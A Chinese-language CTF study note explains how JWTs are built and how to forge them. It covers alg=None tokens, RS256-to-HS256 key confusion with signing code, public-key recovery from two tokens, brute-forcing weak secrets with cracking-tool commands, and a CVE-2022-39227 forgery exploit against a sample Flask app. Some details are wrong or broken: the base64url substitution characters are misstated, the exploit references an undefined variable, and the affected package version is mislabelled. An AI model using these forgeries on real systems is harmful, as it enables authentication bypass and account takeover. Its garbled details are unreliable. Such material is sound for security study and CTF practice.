JWT

JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。

JWT由三个部分组成:header.payload.signature

header部分最常用的两个字段是algtypalg指定了token加密使用的算法(最常用的为HMACRSA算法),typ声明类型为JWT。

payload则为用户数据以及一些元数据有关的声明,用以声明权限。

signature的功能是保护token完整性。

生成方法为将header和payload两个部分联结起来,然后通过header部分指定的算法,计算出签名。

抽象成公式就是

signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)

值得注意的是,编码header和payload时使用的编码方式为base64urlencodebase64url编码是base64的修改版,为了方便在网络中传输使用了不同的编码表,它不会在末尾填充”=”号,并将标准Base64中的”+”和”/“分别改成了”-“和”-“。


完整token生成

在线

https://jwt.io/

Python

python的Pyjwt使用示例:

1
2
3
4
5
import jwt

encoded_jwt = jwt.encode({'user_name': 'admin'}, 'key', algorithm='HS256')
print(encoded_jwt)
print(jwt.decode(encoded_jwt, 'key', algorithms=['HS256']))

攻击方式

空加密算法

JWT支持使用空加密算法,可以在header中指定alg为None

这样的话,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。举个例子,使用以下的字段

1
2
3
4
5
6
7
8
{
"alg" : "None",
"typ" : "jwt"
}

{
"user" : "Admin"
}

生成的完整token为ew0KCSJhbGciIDogIk5vbmUiLA0KCSJ0eXAiIDogImp3dCINCn0.ew0KCSJ1c2VyIiA6ICJBZG1pbiINCn0

(header+’.’+payload,去掉了’.’+signature字段)

空加密算法的设计初衷是用于调试的,但是如果某天开发人员脑阔瓦特了,在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。攻击者只需要把alg字段设置为None,就可以在payload中构造身份信息,伪造用户身份。

修改RSA加密算法为HMAC

JWT中最常用的两种算法为HMACRSA

HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code)的缩写,它是一种对称加密算法,使用相同的密钥对传输信息进行加解密。

RSA则是一种非对称加密算法,使用私钥加密明文,公钥解密密文。

在HMAC和RSA算法中,都是使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。

现在我们假设有这样一种情况,一个Web应用,在JWT传输过程中使用RSA算法,密钥pem对JWT token进行签名,公钥pub对签名进行验证。

1
2
3
4
{
"alg" : "RS256",
"typ" : "jwt"
}

通常情况下密钥pem是无法获取到的,但是公钥pub却可以很容易通过某些途径读取到,这时,将JWT的加密算法修改为HMAC,即

1
2
3
4
{
"alg" : "HS256",
"typ" : "jwt"
}

同时使用获取到的公钥pub作为算法的密钥,对token进行签名,发送到服务器端。

服务器端会将RSA的公钥(pub)视为当前算法(HMAC)的密钥,使用HS256算法对接收到的签名进行验证。

1
2
3
4
5
6
7
8
#node.js
const jwt = require('jsonwebtoken');
const fs = require('fs');

var cert = fs.readFileSync(process.cwd()+'xxx.pem');

var token = jwt.sign({username: 'aaa'}, cert, { algorithm: 'HS256' });
console.log(token)

RSA算法双token生成公钥

先生成两个token,然后利用rsa_sign2n工具来生成公钥:

1
python3 jwt_forgery.py [JWT1] [JWT2]

通过测试得到正确公钥文件,可进一步利用RsaCtfTool得到私钥(或修改RSA加密算法为HMAC):

1
python3 RsaCtfTool.py --public [PEM] --private

参考:

DownUnderCTF 2021 - JWT

爆破密钥

对 JWT 的密钥爆破需要在一定的前提下进行:

  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)

所以其实JWT 密钥爆破的局限性很大。

相关工具:

gojwtcrack

./gojwtcrack -t token.txt -d rockyou.txt

c-jwt-cracker

./jwtcrack [JWT]

jwt_tool

python3 jwt_tool.py [JWT]

CrackJWTKey

python3 CrackJWT.py jwt_str keys.txt

其他

pyjwt包-jwt伪造 (CVE-2022-39227)

影响版本:pyjwt<3.3.4

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)

def generate_random_string(length=16):
characters = string.ascii_letters + string.digits # 包含字母和数字
random_string = ''.join(random.choice(characters) for _ in range(length))
return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)

@app.route("/")
def index():
payload=request.args.get("token")
if payload:
token=verify_jwt(payload, key, ['PS256'])
session["role"]=token[1]['role']
return render_template('index.html')
else:
session["role"]="guest"
user={"username":"xxx","role":"guest"}
jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
return render_template('index.html',token=jwt)

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 官方:https://github.com/davedoesdev/python-jwt/blob/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9/test/vulnerability_vows.py

from json import loads, dumps
import python_jwt as jwt
from jwcrypto.common import base64url_decode, base64url_encode

jwt = "xxx" # JWT String
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['is_admin'] = 1
parsed_payload['username'] = 'admin'
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
print('{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}')

参考:

CVE-2022-39227漏洞分析

2022祥云杯 - FunWEB

NewstarCTF 2023 - Ye’s Pickle